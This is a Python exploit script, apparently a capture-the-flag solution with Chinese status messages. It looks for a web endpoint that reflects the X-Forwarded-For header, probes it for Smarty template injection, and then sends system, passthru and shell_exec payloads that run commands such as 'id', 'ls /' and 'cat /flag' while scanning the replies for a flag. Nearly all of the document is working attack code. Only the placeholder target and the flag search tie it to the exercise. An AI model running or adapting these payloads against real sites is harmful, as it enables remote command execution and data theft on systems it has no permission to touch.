1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
|
import re import requests
BASE = "http://target" ENDPOINT_CANDIDATES = ["/xff", "/", "/api"]
session = requests.Session() session.timeout = 10
probe_payloads = [ "{{$smarty.version}}", "{2*5}", "{{2*5}}", "{php}echo 2333;{/php}", ]
rce_templates = [ "{{system('%s')}}", "{system('%s')}", "{{passthru('%s')}}", "{passthru('%s')}", "{{shell_exec('%s')}}", "{shell_exec('%s')}", ]
commands = [ "id", "ls", "ls /", "cat /flag", "cat /flag.txt", "cat flag", "cat /var/www/html/flag", "find / -name '*flag*' 2>/dev/null | head -n 5", ]
FLAG_RE = re.compile(r"(flag\{.*?\}|ctf\{.*?\}|FLAG\{.*?\})", re.S) TARGET = None
def send_xff(payload): if TARGET is None: return None, "[!] target is not initialized"
headers = { "User-Agent": "Mozilla/5.0", "X-Forwarded-For": payload, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", }
try: resp = session.get(TARGET, headers=headers, timeout=10) return resp.status_code, resp.text except Exception as e: return None, f"[!] request error: {e}"
def pick_target(): marker_a = "1.1.1.1" marker_b = "2.2.2.2"
for path in ENDPOINT_CANDIDATES: url = f"{BASE}{path}" try: r0 = session.get(url, timeout=10) if r0.status_code != 200: continue
h1 = {"X-Forwarded-For": marker_a, "User-Agent": "Mozilla/5.0"} h2 = {"X-Forwarded-For": marker_b, "User-Agent": "Mozilla/5.0"} r1 = session.get(url, headers=h1, timeout=10) r2 = session.get(url, headers=h2, timeout=10)
if marker_a in r1.text or marker_b in r2.text: print(f"[+] 发现 XFF 反射端点: {url}") return url
if r1.text != r2.text: print(f"[+] 发现可疑端点: {url}") return url except Exception: continue
return None
def main(): global TARGET TARGET = pick_target() if not TARGET: print("[-] 未自动找到可用注入端点") return
print(f"[+] Target: {TARGET}")
ssti_ok = False for payload in probe_payloads: code, text = send_xff(payload) print(f"payload={payload!r}, status={code}") if code and text: if "2333" in text or "smarty" in text.lower(): ssti_ok = True if re.search(r"(^|[^0-9])10([^0-9]|$)", text): ssti_ok = True match = FLAG_RE.search(text) if match: print("[+] FLAG:", match.group(1)) return
if not ssti_ok: print("[!] 未明显探测到 SSTI,继续尝试 RCE payload")
for template in rce_templates: for command in commands: payload = template % command.replace("'", r"\'") code, text = send_xff(payload) print(f"template={template!r}, command={command!r}, status={code}")
if not code or not text: continue
match = FLAG_RE.search(text) if match: print("[+] FLAG:", match.group(1)) return
print("[-] 暂未直接获取 flag")
if __name__ == "__main__": main()
|